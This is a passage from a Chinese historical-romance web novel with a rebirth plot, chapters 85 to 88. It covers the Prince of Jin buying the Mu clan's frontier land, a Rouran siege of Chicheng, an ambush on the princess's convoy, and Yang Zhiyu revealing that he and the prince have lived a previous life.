实际上,若是这个价买下穆氏手上所有的地,那可是要晋王掏家底了。 穆朗还是无声地点头,似在思索,手肘戳了戳他,泼了盆冷水,“那若是还没有人愿意卖地,你打算怎么办,这差事也交不上去啊…” 杨知聿卖起了关子,“这殿下也有办法,大不了再出钱。” 穆朗一惊,讪笑两声,却也不敢瞎打听,又问了几句不相关的事,便离开了。 穆朗到底是动了念头。 这杨知聿说的也是实话,这些地留到穆氏手上,说到底也是荒地,没有人手开垦,也没人会这些。 晋王下了血本要买地,倒不如给了,换些银两。 比起给了那个废物,起码是穆府里的银子。 穆朗回去后将今日听得的事说给穆卓听。 穆卓却朝他吹胡子瞪眼,“晋王卖地的事我能不知道吗!他就是想要咱们穆氏的地,你连这都看不出来,将来穆氏怎么交到你手上?” 老头子每次都要拿穆氏说事,穆朗不甘就这么被贬低,将杨知聿今日说的一些掏心窝子话讲给父亲听,“父亲,咱们留着那些地有何用,没有会开荒种田的人,留着地有何用。” 穆卓嘴张开,却还真说不出来什么,憋得两撇胡须上下颤抖,满脸通红。 “不必再说,你给我滚下去!” * 杨知聿守着两箱银子,在北大营内坐了两日。 并不是所有人都不肯卖地,倒是肯有人卖晋王和元衡一个面子,用自家圈起的地换几两银子。 谁知这晋王竟将此事看得极重,没过几日竟是亲笔同几家写了谢,在军中有职务的还升了官位。 肯卖地的人变多了起来,晋王没再承诺给官位,可银子还是照给。 穆朗思来想去,一整晚都睡不着觉,隔日便是又找上了穆卓。 “父亲且看,之前若是您听我一言,咱们不但可以从晋王手里谋些银子,还能谋官位,如今倒是好,说不定还要招人记恨!” 穆卓被儿子这么数落,面子上过不去,可自己心里也不甘。 他想了想,道:“明日同我去趟赤城。” * 穆氏父子亲自上门去了晋王的宅院。 听闻晋王正在府中,教自己的王妃下棋。 穆朗听过晋王府的那位王妃,今日总算得到一见。 那娇娘不知用什么养出来的,肌肤白腻似雪,像是能掐出水的豆腐,是中原女子的长相,比他那妾室还要美很多。 晋王先是将那腰若扶柳的王妃扶着坐下,再端坐在那娇娘身旁,一挺一弱,看着倒十分契合。 那晋王妃似是看了一眼他的方向,穆朗有所察觉,便立刻坐挺了几分。 元衡淡淡扫了一眼,两只手指掐住玉杯,指尖微微泛白,问道:“穆将军带公子来小王住处,所谓何事?” 穆卓想他是知道他的来意,也不想说什么虚话,将一张圈画的舆图交给穆朗,让他亲自呈上去,“殿下不知,穆氏的先祖曾在此收了块儿地,说是将来北镇安稳,便让穆氏族人在此耕作,臣想着穆氏在城南已经有一块儿地,这片地留着也没用,不如先分给城里的军户耕作。” 元衡未应答下来,先是扫了两眼舆图,才道:“穆氏这块儿地,小王倒是不敢接。” 穆卓微微诧异,问道:“殿下可是觉得有什么不妥?” 元衡勾起唇角,道:“不瞒将军,这些银两都是小王府上的银钱,此次来军镇也只抬来两箱,这两日卖地的人络绎不绝,小王细想,若是将穆氏这块儿田买下来,怎么凑也不够。” 穆卓自己也不知道怎么办才好,他千想万想,却不曾想晋王没有银子换这些地。 他刚想开口,元衡便打断了他,“本王这个人向来不喜欢欠别人的,穆将军也知道。” 穆卓心里有些没底,一时蒙了头,想不出来对策,也想不出他何意,“请殿下明示。” “本王想用每亩十贯买下西向五百亩田,将军看如何?” 穆卓怕听错,又问了一遍,“殿下是说十贯?” 元衡点头,似是笃定,“没错,十贯。” 这下就连穆朗也愣住,虽说这北镇的荒地卖个十贯也不算贵,可和此前说的二十万明显有落差。 他一时陷入了犹豫。 接下来却是岑璠开口,“殿下还未说完,剩下的十万两殿下会同陛下上书,穆氏推行田法有功,当有赏才对。” 穆卓心里震了一下,自从迁都后,皇帝便很少过问他们军镇的事,就他们这些人的官职也许久没有升过,反倒是从洛阳来上任的人,官压他们一层。 晋王不能随意赏,要上禀陛下的,对他们穆氏而言,除了官位,还能有什么? 他们军镇的人一向是支持晋王,将来晋王夺位成功,说不定他会是大功臣,得到的赏赐更多! 说不定还能回洛阳。 穆卓千回百转,最后拱手一礼,“就按殿下说的办。” 送客后岑璠便立刻站起了身,元衡拽住了她,心情颇好,那双鹰一般的眼带笑意,“王妃做的很好。” 岑璠撇开目光,“我只关心,殿下打算什么时候将曲芜从穆家接出来。” 元衡淡然道:“现在还不是时候。” “王妃也不是说,成大事不拘小节吗?” 他说这番话时,脸上还是带着淡淡的笑意,微长的睫毛半遮眼眸,却遮不住冷意。 他手用力一拽,将她又拽回怀里,掐住她的腰,“何况王妃是觉得,人人都会像王妃一样,放着好日子不愿不过,泼天富贵不愿享? 岑璠恍然间想起曲芜说的那句“我和王妃不一样。” 可再回穆家,不知道她会不会受善待。 是他们让她回去的,总要问过曲芜的意见才是。 她看那穆朗不是善茬,和面前的男人一样,有劣根,且好色。 岑璠道:“殿下怎知她回去后,还愿意再享那富贵?” 元衡静静看着她,面容彻底冷了,他两指掐住她的下颌,“王妃想要她,可以。” “你得求我。” 第86章 第八十六章惊变 岑璠心里气不顺,“这不是殿下该做的吗?” 元衡摇头,“本王可什么也没答应。” 她耳上的那串翡翠银杏耳环还在摇晃,连带那耳垂似都在微微颤动。 元衡便是不想说什么了,面上露出些玩味,一只手触上她的耳垂。 岑璠立刻躲开了,“你要做什么?” 元衡勾起唇,在她耳边轻轻说了一句什么。 岑璠不知该说他放肆,还是该说他无耻,他竟然是想在这儿… 她的癸水刚过,他应该也记得,所以才会提这么过分无礼的要求。 岑璠道:“殿下不怕,万一在这儿有了孩子怎么办?” 元衡觉得好笑,“本王求之不得,皎皎难道不知?” 岑璠道:“北镇苦寒,咱们还要回去,殿下难道不怕在这里有了,会出什么事?” 元衡唇角的笑便是收了些许。 她说的没有错,若是她在这里有了,他们回去会麻烦很多。 若是她和孩子真的在路途出了什么乱子,他可能真的会疯掉。 他眸底墨色翻涌,悄然间松开了手。 岑璠从他身上起来,赶紧离开了。 * 大河河面冰雪消融,靠近河岸的几个村落已经出现涝灾,各地官员头疼不已。 水灾持续多年,却没有人力改道,只能派人安抚民心。 皇帝本想派太子前去,太子却在这时病了,只得留在东宫修养。 皇后这一日去太子宫中,穿了一身素净的颜色,凤尾衣摆如同白羽扫在宫阶上,步态如云,仔细看去,似是哭过, 殿外有几个侍卫守着,却是无人敢阻拦这样一个可怜妇人 皇后进了太子的寝殿,屏退所有人,站到他面前,收起了那副憔悴,低眼看去,像是俯视蝼蚁。 “凭你?想向你父皇告本宫?” 她向前又走了几步,冷道:“本宫可以告诉太子,你派人找的那位太医,在辞官的路上不慎遇上了滑石,已经不知道被埋在了哪处山头,你一直藏在宫里的宫女,也已经有人帮她上路了。” 太子脸色瞬间苍白了些,从床上坐起来,似是还有些吃力,最后只能苦笑,“孤到今日才发现,身边都是母后的人…” 皇后扬起眉,“这东宫的一举一动,本宫若是想知道,动根手指就可以。” “太子以为自己有什么本事?没有本宫,没有胡氏,你什么都不是!” 太子额头青筋暴起,反驳道:“孤什么都不是?那母后草菅人命,狠毒至极,连自己的儿媳都不放过,又算什么?” 皇后能听得任何人说自己狠毒,可唯独太子说不得。 他说不得! 她五官似是凝固起来,而后彻底崩裂开,扯出笑容,指向自己,眼泪忍不住顺着脸颊流,不知是在笑还是哭,“本宫狠毒?世家长大的女儿在宫中都想着办法避孕,你知不知道…知不知道本宫生下你,将你这个亲子扶上太子之位,要付出怎样的代价!?” 她分明是胡氏长得最好看的姑娘,就因为娘亲不讨父亲喜欢,自己也不愿意讨好父亲,便要被送入宫。 先皇后能为了让自己活下去,能亲手将自己送进冷宫,可她做不到。 胡氏阖族施压于她,让她诞下这个儿子,将来皇帝驾崩,她肯定会被下旨殉葬。 她说出口的话近乎嘶喊,“本宫为了你,早都赔上了一条性命,可你呢?整日除了沉迷于儿女私情,还能想些什么!那晋王如今在北镇那个鬼地方征到了田,本宫看你这太子之位还能保几时?!” “孤这太子之位,到底是谁想要!母后不过是懦弱,不肯摆脱胡氏,只想借孤在胡氏面前抬起头罢了!” 皇后怔了许久,浑身颤抖,再开口时却只轻轻挑眉,一副无所谓的态度,“太子真这么想?” 太子意识到自己刚才说出了什么,眼神闪烁。 皇后嘲讽了两声笑,“那太子得先能走出自己的东宫。” “不过太子不能自省,怕是以后都出不去。” * 北镇穆氏交了田,元衡很快便让人划分出来,制成一张张田契,盖上官印,分给北镇军户。 元衡修书几封送回洛阳,向皇帝禀报北镇收田之事,一来兑现自己给穆氏的承诺,二来也是杨知聿说的,总要有洛阳的官员来,教北镇的军户怎样开田。 料理完这些事,元衡便打算回晋阳。 临近出发的那日,离开的队伍在城门口整装待发,却发生了变故。 十里外的烽火熊熊燃起,随即军营斥候快马来报,柔然集结大批兵马,突然压境。 元衡听到后,回忆了许久,还是诧异。 他很清楚的记得,他与岑璠成婚的第一年,他从洛阳回晋阳,并没有去军镇,那时柔然也并未来犯… 不过这一世很多事都变了,柔然会忽然改到这时进攻,背后定有人为。 是谁? 元衡一瞬间想到许多不想让赤城好,也不想让他好过的人。 可现在不该在意这些,他走不了。 此时若走,赤城会陷入大乱,皇帝也肯定不会放过这个治他的罪的机会。 元衡扫了一圈人,向周围的人一一下令,进城挨家挨户通知,去军营传令,还有向四方调兵,桩桩件件安排得熟练而镇定。 最后他的目光落向岑璠,好几次的欲言又止。 他目光微低,最终吐出的是句冷声 ,“你先回晋阳,等本王回去。” 没有更多的交代,他抬起眼,紧紧盯住她的反应。 她没有露出什么不该让他看到的反应,只是默默地调转马头。 元衡的手还是拽紧了马绳。 下一刻,她却是微微回了头,“你们多加小心。” 清冷的眸上落上一枚雪花,墨色的眼底一瞬间仿佛都被照亮了些。 元衡想说什么,甚至想做些什么,却是被人抢先去。 “王妃放心,有末将在,定然不会让殿下出事。” 杨知聿说完,元衡便是彻头彻尾醒了。 她刚才说的并不是他,而是他们 元衡眼底黯然,可到底没有在这个时候做出什么出格的举动。 他很快恢复了理智,和周遭的冰雪一般寒冷,目光聚在她身上,却又蔑然地往一旁甩了个轻瞟。 杨知聿弯起唇角,回了他一个坦坦荡荡的笑容。 元衡向韩泽吩咐了几句,没再多留恋。 岑璠也没有赖在这里,很快和韩泽挑拣出来自己行李,跟着他点出来的一支队伍踏上回程。 走的时候,城门外已经没了元衡的身影。 岑璠到底是向北多望了几眼。 就私心而言,她希望她余生都不要同他再纠缠,可抛开她来说,他这个晋王做的确实不错… 起码他在北镇做的一切,要比她看到过的任何一个地方官都要做的好。 若是他能初心不改,将来他为帝王,对百姓而言是件好事。 直到韩泽出声提醒,岑璠才回过身去。 终还是没有朝远去的地方再看一眼。 回程的路上,历经几个晴朗无云的白昼,就连北镇的雪都有融化的迹象。 行至北镇石碑,前方便是连绵山谷,走出几道山,就意味着离开了北镇的地界。 有群山隔绝,柔然不易攻来,再往南去便彻底没了威胁。 入山不久,便逢一道小河。 他们来时便路过此处,那时冰封千里,小河似一条白练,现在已经全然化开。 岑璠却是在这里遇到了本该留在北镇的穆氏族人。 那穆朗的正室夫人罗纯过来和她行礼,曲芜就站在她身后。 穆二也在随行的队伍中。 山路尚远,岑璠简单寒暄两句,便继续赶路。 两拨人结伴而行,也好相互有个照应。 当晚扎帐,岑璠将罗纯和曲芜都请进了自己的帐中。 晋王不在,可他们睡的这顶大帐依旧留给了她,帐内铺有绒毯,炭火置于高炉,防止火星子迸到地上。 岑璠问过才知,赤城的情况不容乐观。 那些个蠕蠕似是下定决心要攻破赤城,所来先锋被晋王挡住后,竟是源源不断向赤城输送兵力,向赤城大营发难。 晋王察觉到不对,仅过两日便下令带兵向南,退回赤城内驻守。 眼瞧形势不好,穆氏便让族人先撤出赤城,回平城的穆家暂避。 穆氏世代游牧,从北镇一路出发,比他们的脚程快些,是以在这里追上了他们。 如果真的如他们所说,晋王退守赤城的消息应该已经过去好几日,这些军报应当不会无人传给他们 * 赤城内,夜里号角又响起,随之而来的是响彻天际的鼓声,如同雷鸣轰然。 兵甲器械声由远及近,隆隆响起,城门上点燃了一排排明火,有火箭,也有火把。 城门上晋王亲守,俊冷的面上沾染尘土与血迹,比平日又多了几分血性。 一声令似比那鼓声还响,随即一排火箭射出,如同流星划过黑夜。 伏于黑暗中的敌军人仰马翻,夹杂着战马嘶鸣,战场中充斥着血腥味,冰冷的空气吸入肺腑,似都是凝结的血珠子,令人窒息。 城中无一人敢眠,城前厮杀的军士与城门的后防皆提起精神,一刻未歇。 喊杀声再止时,天际已经泛起了红色的朝霞,一片火红,与城门前的血迹似连成一片。 焦味与血腥都在鼻尖弥漫,像元衡这种习惯了杀戮的人,连日闻到这样的味道也不经疲惫。 元衡走下城墙,兵甲未卸,呼出一口热气,闭上彻夜未阖的眼。 耳边传来几声吆喝声,元衡的眼睛又睁开了。 不过是城中几个军户要去城墙上搬运砖块,将被破坏的城墙临时修补起来。 元衡的目光随那些军户而动,仰头看着他们上了城墙。 他记得上一世的赤城,在之后两年战事不断,城内的军户要么迁去其他六镇,等到战事结束再回来,要么便是冒险翻过北关,逃去平城再也不归 总之没有人帮他。 而这一次,城里的军户不但无人逃,有的随军而战,有的便留守后防,总之无一人离开城内。 否则凭借着赤城的兵力,撑不住这五天。 元衡不禁去想,上一世他孤守赤城时,如果有这些人,局势会不会不一样 他的身旁又路过两个妇人,两个人合力扛着一麻袋砂石。 元衡看后竟是皱眉,叫来身旁的军士帮忙扛过去。 妇人这些日跟随家里的男人驻守,早已认得这北镇的晋王,其中一个穿着麻衣的妇人笑容朴实,道:“殿下守城守了一夜,这些事我们做就好。” 另一个妇人似是不会说中原话,只用旧族话向他说,“殿下能为我们争几亩田,如今还要拼上命帮我们守城,这些是我们该做的。” 两个人并未再停留,也没等军士动手,一前一后将砂石运到了城门下。 元衡静静站立了许久。 或许,也只是或许,这是与上一世的不同吧。 那姓杨的说的,似乎是对的 前些日那姓杨同他守城,与蠕蠕大将交战,身上受的伤不算轻,元衡想了想,准备去他的住处寻他。 只是到了杨知聿休养的宅子,他并不在宅子里养伤。 元衡皱起眉,一时间猜疑便又泛上心头。 下一刻却是有人来报,“回禀殿下,怀荒尔朱氏带了援兵来!方才殿下在守城,杨将军已经亲自去迎,想必今日援军就能到了!” 元衡不觉得尔朱氏的那帮人这么快调兵赶过来,便是多问了一句,“可有问到带兵的是何人?” 传话的侍卫原原本本将杨知聿留的话告诉他,“是尔朱氏的一位姑娘,家中排行第四,名曰阳雪。” 第87章 第八十七章他对她的心思 岑璠一行人在山中又行了两日。 她叫来韩泽,问有没有收到自北镇而来的军报。 韩泽其实也奇怪,按理说不应该。 沿着小河而行,这是通往军镇最寻常的一条路,传信的人不应该找不到。 难不成是赤城陷落了? 韩泽一瞬间有些恍惚,可殿下那样的人,若是见情形不对,也会保住主力,自己撤回来。 岑璠抿了抿唇,道:“还是先出山吧。” 韩泽得了令,队伍便又行得快了些。 王妃说的也对,总要先到有人的地方,才知道究竟是个什么情况。 估摸着还有一日出山时,却是有人追了上来。 带来的消息,却是赤城失守,晋王重伤的消息。 韩泽看过令牌,眼底一片猩红,上前一步,手按在刀上,却是被墨群拦住。 墨群问道:“你的令信呢?” 岑璠就站在他身旁,闻言看向他。 墨群解释道:“王妃不知,像王府这样的地方,传信之人除了令牌,还要有令信。” 传信之人名叫牧琼,他将怀中的令信交出来,道:“殿下这封信是代笔…” 墨群接过信来,展开那张纸,扫了两眼,目光落向她。 岑璠在看着他,等他说话。 墨群什么也没说,将信递给韩泽。 韩泽辨别一番,收起起刀的手,将令信还给那人,全身都在颤抖,行了一礼,“遵命。” 他起身时,岑璠看到了他眼底的情绪。 那封信无人给她看,岑璠也能猜到,他定是不好。 所有人的目光都落在她身上,等着她这个王妃发话。 岑璠低下眸,道:“回去吧。” 和曲芜一行人道别,队伍便调转了方向,向来时路而去。 午后山间的雪化得厉害,山路泥泞,马车不好走,岑璠先让牧琼带了几个人先行回去通报。 待到不见牧琼踪影,岑璠下了马车,叫来韩泽,“韩总管可知,这里有没有其他的路可以出去?” 韩泽不知她是何意。 岑璠望了望周围,山间窜过的风凛冽,吹迷了她的眼睛。 “走别的路,回去吧。”她道。 韩泽愣了愣,问道:“王妃可是觉得刚才那人有问题?” 岑璠点头,“那个人韩总管也不认识,不是吗?” 她抿了抿唇,又道:“如果真的是他,也不会让我回去的。” 韩泽抬起头来看她。 是的,以自家主子的性子,赤城危急,绝对不会让自己的王妃回去…… 晋王的信使,有那么几个他认得,可情况紧急时也会有眼生的。 他们向来只认令信和令牌行事,忽略了这件事。 可面前的这位王妃,似乎太过于冷静了。 冷静到近乎冷漠… 像是把一颗炽热的心冷漠地剖开,再说与旁人听。 若是他们猜错了,自家主子真的只是想见王妃最后一面,该怎么办。 就这么走了,未免也太可悲了…。 可面前这位王妃显然没做任何再回去的打算,也没想到过有这种可能… 韩泽想说什么,岑璠却向他下了命令,“韩总管,现在回去不合适。” 的确不合适,可…… 韩泽还想说什 么,终究没有说什么。 他下去安排了一番,队伍调转了方向,没按原先沿着河走的路线,绕过一座山,到了背阴面。 原先走的路算是一条河谷,周围还算平坦,翻过这座山,虽是有路,可到底难走了许多。 韩泽始终看着方位,确认他们离河谷不算太远,这样一来随时都能回到原来的路上。 夜幕逐渐降临,白昼化开的雪又凝成一层冰,泥土被冻得硬邦邦的,冰覆盖在上面,像是碎了的琉璃,踩在上面发出清脆的响声。 队伍停在两山之间还算隐蔽的地方,夜里灭了几盏火把,山石遮挡,倒不算显眼。 夜里路难行,今晨来找他们的人若真有歹意,想必还没有反应过来。 就算是真的察觉,他们改换了路线,一时半刻应当也找不到他们的行踪。 那名叫牧琼的人走时,她特地让几个好手跟着一起去,若非歹人,想必出山后那些人就能和他们汇合。 若真的是歹人,他们回晋阳怕是没那么顺利。 岑璠宿在马车内,几乎一夜没睡,她不知道那些人的来意,穆氏的人还在他们先前走的那条官道上,也不知道他们如何。 天边泛起鱼白,空气中似都凝结了一层冰雾,岑璠被韩泽叫起来时,感觉整个身子都被冻僵了。 槿儿和她一同在马车里睡,她轻轻一动,便也是醒了。 她披上厚袄,走下了车,韩泽手冷得揣进袖子,显然是在她的马车前站了许久。 韩泽同她说的并不是什么好消息。 昨夜侍卫轮换守夜,韩泽刚刚下令要收拾启程,刚轮换下的那批侍卫中有两人去如厕,到现在还没回来 问过情况,队伍其他人已经收拾好,随时都能出发。 他们至今不知对方是谁,若是分散而行,说不定会变得更棘手。 岑璠知道队伍附近还有暗卫,她让韩泽想法子叫来几个。 韩泽眼睛向一旁微瞟,不敢轻易答应。 这些人只受晋王驱使,得了保护王妃的令,便是他也无法说通。 岑璠道:“若是出了事,便算做我的责过失。” 韩泽眼睛又飘忽了一瞬,却答应了下来。 传信的方式有许多种,此刻不宜发出太引人注目的声响,韩泽在雪地上画了个圈,拿来些绸带摆出个形状。 还没摆出个形来,便是又从四面八方出来几人。 岑璠向他们说了现在的情况,道:“诸位跟在殿下身边,应当知道,现在去找到那些人,便也是在保护我。” 那些人倒也不是一根筋的人,很快便又四散开来。 岑璠回头看了看墨群,想说些什么。 墨群向她一礼,“属下在这里守着姑娘。” 岑璠没再说什么,此地也不宜再久留,一行人偏了些方位,继续向前走。 派出去的人一个都没回来… 岑璠坐在马车内,手脚愈发冰凉,也愈发沉默。 可有时候越担心什么,便越会来什么。 他们的马车忽地停了下来时,岑璠心跳停了一下。 车壁上似是咚的一声闷响,这种感觉很熟悉。 她记得很久之前,柳家人拦住她的马车,便是用这种方式… 那似乎是一只箭…… 岑璠不敢探出头,躲在马车内,须臾之后便响起熟悉的打杀声。 槿儿也反应过来,不禁想向马车外望去,却是被岑璠拽住。 她浑身都在发抖,护在岑璠身前,将她紧紧抱住。 岑璠不是第一次遇到这样的事,可还是屏住了呼吸。 自来到洛阳见到他后,她似乎经常见到刀剑兵刃… 她脑袋一团乱麻,却只见一柄长刀伸了进来,停在她一尺不到的地方。 那刀收回些,硬生生劈开了她的马车,木头应声裂开,整个车成了两半。 寒风从四面八方裹挟,打杀声瞬间清晰了许多,外面已经乱成了一团,岑璠在人群中甚至找不到认识的人。 劈车之人就站在马车上,脸上带着诡异的银色面具,辨别不出容貌。 再扫一眼,与他们缠斗的那些人脸上都带有面具,像是什么组织一样,总之不是什么流寇。 那张面具映在眼中,似有目光盯着她,岑璠脊背发凉。 忽地有一道鞭卷住了那只长枪,戴面具的人低头,双手抓住那杆长枪,被一股力道带下马车。 岑璠向那鞭子的尽头看去,看到墨群甩开鞭子,从地上踢起一柄长枪。 竟是十八般武艺样样精通。 可那些人明显是冲着她来的,向马车而来的不止刚才一个人,源源不断有面具人向她身边靠过来。 她身边也有不少来护她的人,岑璠手上没有武器,每靠近一个面具人,便双手来回拍打。 那些人似乎也并不打算杀了她,只是想抓住她,有人过来捂她的嘴。 岑璠张口便咬,捂住她的人本能抬手。 就在这时,那人的背后一道剧烈的冲击,一道利箭似是穿透了骨头。 面具人倒下后、岑璠透过慌乱的人群,看清一张脸。 那好像是杨知聿… 他身后似是带了许多人。 岑璠头发有些乱,可她顾不得这些,踉跄着站起身。 局面似一时间扭转,她身边的人抽开了身,清晨调出去的暗卫很多也都回到了她身边。 震得难受的心也随之恢复平稳。 这个人一直都是这般,神秘莫测,总是莫名出现在她身边,每次出现的都很及时。 岑璠抽出空来看四周,他似是从北镇赶来,脸色有些苍白。 那些人似是转了目标,前仆后继向杨知聿而去,全是毫不留情的杀招。 他脸色越来越苍白,那双总是神秘看不透的眸也变得冷了许多,一招一式皆是狠戾, 最后一张银面被揭开,被杨知聿利索地抹了脖子。 岑璠走到他面前,问道:“为何不留活口?” 他的神色肃然,额上冷汗涔涔,一直盯着最后倒下的尸体,却还是同她耐心解释道:“那是皇后养的银面人,不用查,也查不出什么。” 岑璠总觉得他哪里不对,似浑身透着寒气。 她眼睛动了动,心中疑惑不解,“皇后的人如何能来到这里,还知道我们要回去?” 杨知聿没有回答她。 他向韩泽吩咐了几句,便略过她上马。 岑璠闻到了浓浓的血腥味,他似是受伤了。 他没有打算停留半刻,调转马头,方向是回北镇的方向。 岑璠往前迈了一步,他恰好在此时回过身,刚才冷下的面容似是恢复了许多。 “北镇暂且安稳,王妃不如还是同在下回去,回晋阳的路不好走。”他道。 这番语气,同在洛阳时缠着她的人,像是两个人一样。 疏离,陌生… 岑璠想问些什么,他却道:“晋王殿下一切都好,只是要向北压境,抽不开身,王妃尽管放心。” 说罢,他便打了马。 队伍中尚有两辆辎重的马车还完好,韩泽打算让人收拾出来一辆。 一番缠斗下来,队中许多人都受了伤,收拾出一辆辎车,意味着其他人都要多背行李,这并不妥当。 岑璠和槿儿便各骑了一匹马。 杨知聿在首带领整支队伍,岑璠并没有过去搭话。 这里人多眼杂,若是她主动去说了话,传到元衡耳中,以他的恶劣和小心眼,他们都要遭罪… 返程的队伍比先前脚程更快些,绕回平旷的山谷,不一会儿穆家人却追了过来,听闻北镇稳定下来,便要和他们一起回去。 杨知聿颔首,算是答应。 曲芜在穆氏的队中,犹豫了片刻,问她要不要同她坐一辆马车。 杨知聿淡淡看了一眼,并没有表态。 在这谷底骑马,到底是冷,方才不过一会儿功夫,手似乎都被冻僵,旧伤似隐隐作痛。 岑璠没有再逞强,坐上曲芜的马车。 午时已过,走到树木茂盛的地方,杨知聿才停下。 他径直走向河边,脱掉上衣,用手舀了一捧冰雪,敷在裂开的伤口上,肩膀被冰水浇得 通红, 再穿上衣裳时,杨知聿听到了脚步声。 岑璠手里拿了上药,上前几步,站在他的面前,“这么洗伤口,不如用点药。” 杨知聿接受她的好意,“多谢王妃。” 岑璠上下将他打量了一番,还是猜不透他。 她只问道:“杨将军是如何得知,我们会在这里遇到埋伏?” 杨知聿未看她,道:“猜到的。” 她总是能听到他这些模棱两可的答案。 可他其实什么都知道… 岑璠显然不满,深吸一口气,非要问个清楚,“皇后的人能来到此处,还大张旗鼓劫道,实在蹊跷,杨将军可能猜到,是谁在背后帮皇后?” 杨知聿笑了笑,“这个在下还真有些猜不到…” 他静了许久,目光聚向那化开的湖水,像岸边的残冰,似有些无神,“这些人不想杀王妃,却在见到在下后,像得了命一样,拼命也要杀了在下,王妃觉得是谁?” 她问的每一句话,杨知聿都要她猜… 岑璠不想同他起争执,却也不想这么被敷衍,“杨将军,你说的每一句话,我其实都会认真听。” 杨知聿沉默了许久。 他缓缓抬起眼,绽开一副温柔的笑容,那眼底的笑意很浅,没有恶意,但还是神秘莫测,琢磨不透, 就连问出来的话,岑璠都猜不出他的目的。 也不知道怎么回答。 “殿下可曾在王妃面前提起过,在下对王妃的心思?” 第88章 第八十八章我和他都非现世之人…… 岑璠愣了一瞬,避开他的目光,“杨将军,有些事没必要说出口。” “将军所想的,也不一定就是对的。” 周旁沉默了许久。 杨知聿低笑,“知道了,王妃也不必太过在意,其实也没什么…” 岑璠唇渐渐抿起,坐在了他身边一块没沾上泥的石头上,面对他说道:“杨将军其实知道许多事吧…” “军镇的事,还有崔氏的事,将军其实自始至终都很明白,对吗?” 杨知聿一笑,“他原来同你说了崔氏的事” 他看了看捏在手上的药瓶,转过头去看她,“王妃是要怪我吗?” 岑璠抓紧了衣袖,道:“我没有办法怪你。” “将军对我有救命之恩,我虽然不想崔氏覆灭,却不该替崔氏怪将军。” “你不怨我?” 岑璠摇头,“将军曾经对我说的许多话,岑璠很是受用,我也相信将军这么通透的人,做这些事有自己的原由。” “岑姑娘是说我通透吗” 他知道上一世的事,也自诩这一世能改变许多。 可到头来,他亲手报仇,却不得释怀,想亲手改变,到头来发现无能为力… 面前的那张面容,像是冰花般透彻清冷,淡然地像一缕清风。 不论是这一世还是上一世,都澄澈得像山泉,对所有的善意温柔以待,永不背叛。 他撑起身,缓缓走到她身边,低下身单膝向地,抬头看着她,似在祈求,“岑姑娘能不能别这么好?” “有的时候人太好了,是会受伤的” 岑璠忽然想起很多梦,断断续续,似也有人用这种语气同她说过话。 她低下眼眸,弯起一个笑容,道:“可能会吧,我曾经做过一个梦,梦中的自己好像确实受了许多伤,最后还落得个惨死的下场。” 杨知聿的眼睛睁大了一瞬,脸色又苍白了几分,微微起身,“你是说你做过梦?梦中你在过得很不好?” 岑璠眨了眨眼,恍然间似是接受了什么,“是,可那也只不过是一场阴差阳错的梦罢了。” “那你觉得她后悔吗?”杨知聿想了想,又换了个说法,“我是说,你觉得梦中的自己后悔吗?” “我也问过自己,梦中的她后悔吗,后来想了想,她虽是被命运捉弄了去,可做的每一个决定也都是遵从本心,我不过一个局外人,没资格替她原谅,也没资格替她后悔。” “不后悔是吗” 岑璠摇了摇头,“应该是不后悔吧,我也不清楚,我只是觉得,梦中的那个她其实不懂什么是喜欢” “杨将军,强迫自己去喜欢一个根本不喜欢的人,会很痛苦的。” 手上的药瓶不知为何掉到了泥中,幸好化开的泥水不算坚硬,杨知聿捡起那瓶药,放在冰水中冲了冲,不知道是不是手有些冷,身子都在颤抖。 他将药瓶捏在手心,没有注意到远处快跑来的侍卫。 侍卫向二人行了一礼,面溢喜色,“将军,北镇传来捷报,殿下和尔朱氏将柔然大军压退,敌将已为殿下所擒。” 杨知聿站起身,多问了几句,那侍卫便是将自己听来的都说了说。 说了如何安抚城内军民,还说了如何将那敌将祭旗,可半句都没有提到尔朱氏。 他一言不发,直到侍卫说完,才问道:“尔朱氏的人呢?” 那侍卫道:“尔朱姑娘同殿下逼退柔然大军后,便带着一些人离开了,好像说是要去洛阳。” “殿下可有劝过?” 这事无人同他说过,侍卫也不知道该怎么答。 须臾后却是等来了一声自嘲似的轻笑,“是啊,就算劝过,又有什么用” 随后周边便陷入了寂静,那侍卫看得出自己说错了话,缄口不言,一直观察他的脸色。 他们这些年在这位将军手下做事,很少见到这般戾气 不过多时,杨知聿站起身,没有征求岑璠的同意,平静道:“改换道路回去吧。” 侍卫很是惊讶,却是不敢违抗军令,一拱手便下去安排。 杨知聿显然也不打算解释,愈发沉默。 好不容易才被火石打亮的火花,就这么熄灭了。 他步子有些迟缓,摇摇晃晃离开,没有再问岑璠任何问题,两只手露在皮革扎起的袖口外,紧紧攥起。 “将军留步。”岑璠站起身,“将军可是在怨?” 她想了想,紧接着猜测,“因为朱姑娘?” 杨知聿道:“王妃就不必担心了,她既是愿意走,那便让她走吧” “杨将军就没想过,当面同尔朱姑娘说些什么?” “没什么好说的,无用的。” 岑璠抿了抿唇,向前走了几步,道:“其实尔朱姑娘来找我说过一些事。” 杨知聿转过身,眼中闪烁。 须臾后他低下眼,一双手握得更紧了些 ,低声问道:“她都说了什么?” “她说曾经伤害了一个她很喜欢的人” 他嘴角颤了颤,“是吗?” 岑璠颔首,“那时我就想过告诉她,有些话不如当面说清的好,起码能够不留遗憾,万一真的是误会呢?” 杨知聿许久没有说话。 他抬起头,须臾后闭眼一叹,还是向前走去。 岑璠又一次叫住了他,“她很痛苦,杨将军就没有想过拉她一把吗?” “拉她…一把?” “将军,这世上让人后悔的事太多了,与其纠结后不后悔,终身抱憾,为什么不想着还能改变些什么呢?” 岑璠说完这些,一颗心始终无法平静,气息有些微喘,等着他回答。 北风而过,云卷云舒,许久之后,他转过身来,“我知道了。” “我会试着把她带回来的” 他脸上又浮现出笑容,走到她身边,低下身,和她的视线平齐,凝视了许久,弯出了一个笑容,道:“岑姑娘以后别叫我将军了,和上一世一样,叫我杨大哥吧。” 岑璠睁大了眼,喃喃重复道:“上一世” 杨知聿点头,“对,上一世。” 他又靠近了些,用仅两人能听到的声音,低声说道:“其实我和他,都非现世之人。” 岑璠眼睫微颤,似是想确认他说的是不是真的,“你” “你的许多梦,或许都不是假的”他说这些,笑意却直达眸底,“能看到你今世活成这样,我很欢喜” 没有被那场梦困住,脱离自己给自己圈画的囹圄,活得比他明白。 他凝视着她,问道:“我能抱你一下吗?” 岑璠没有拒绝,心中还响彻着他刚才说的话。 他只是虚虚揽住她,靠近了些,“我分清楚了,这不是喜欢,可我真的真的好羡慕” 上一世作为一个旁观者,眼睁睁看着她为了那样一个人飞蛾扑火,最后又眼睁睁看着她挡在那人面前,甘愿赴死。 